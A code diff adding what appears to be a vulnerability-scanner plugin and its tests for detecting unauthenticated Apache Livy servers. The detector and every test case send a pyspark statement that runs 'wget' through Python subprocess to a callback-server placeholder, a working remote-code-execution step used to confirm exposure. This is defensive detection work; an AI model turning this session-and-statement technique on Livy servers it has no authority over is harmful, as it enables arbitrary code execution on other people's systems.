diff --git a/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto new file mode 100644 index 000000000..981a82ebf --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto @@ -0,0 +1,149 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheLivy_ExposedUI" + author: "joernNNN" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "APACHELIVY_EXPOSED_UI" + } + title: "Apache Livy Exposed instance" + description: "Apache Livy instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the Apache Livy instance is not exposed " + "to the network. See " + "https://livy.apache.org/get-started/ for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "livy_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/ui" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'Livy - Sessions' } + } + } + } +} + +actions: { + name: "create_sessions" + http_request: { + method: POST + uri: "/sessions" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: '{"kind":"pyspark"}' + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"proxyUser"' } + conditions: { body {} contains: '"kind"' } + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"id\":([0-9]+)," + variable_name: "sessionid" + } + ] + } + } + } +} + +actions: { + name: "sleep_for_session_creation" + utility: { sleep: { duration_ms: 60000 } } +} + +actions: { + name: "create_statements" + http_request: { + method: POST + uri: "/sessions/{{ sessionid }}/statements" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data:'{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}' + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"code"' } + conditions: { body {} contains: '"state"' } + conditions: { body {} contains: '"output"' } + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"id\":([0-9]+)," + variable_name: "statementid" + } + ] + } + } + } +} + +actions: { + name: "execute_statements" + http_request: { + method: GET + uri: "/sessions/{{ sessionid }}/statements/{{ statementid }}" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"' } + conditions: { body {} contains: '"id"' } + conditions: { body {} contains: '"output"' } + } + } + } +} + +actions: { + name: "sleep_for_callback" + utility: { sleep: { duration_ms: 2000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "livy_exposed_ui_fingerprint", + "create_sessions", + "sleep_for_session_creation", + "create_statements", + "execute_statements", + "sleep_for_callback", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto new file mode 100644 index 000000000..1047e2423 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto @@ -0,0 +1,133 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ApacheLivy_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/ui" + status: 200 + body_content: 'Livy - Sessions' + }, + { + uri: "/sessions" + status: 201 + body_content: + '{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}' + condition: { + body_content: '{"kind":"pyspark"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + }, + { + uri: "/sessions/6/statements" + status: 201 + condition: { + body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + body_content: + '{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}' + }, + { + uri: "/sessions/6/statements/4" + status: 200 + body_content: + '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}' + } + ] + } +} + + +tests: { + name: "whenNotApcheLivy_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/api/v1/main/usages/all" + status: 400 + body_content: "..." + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/ui" + status: 200 + body_content: 'Livy - Sessions' + }, + { + uri: "/sessions" + status: 201 + body_content: + '{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}' + condition: { + body_content: '{"kind":"pyspark"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + }, + { + uri: "/sessions/6/statements" + status: 201 + condition: { + body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + body_content: + '{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}' + }, + { + uri: "/sessions/6/statements/4" + status: 200 + body_content: + '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}' + } + ] + } +} \ No newline at end of file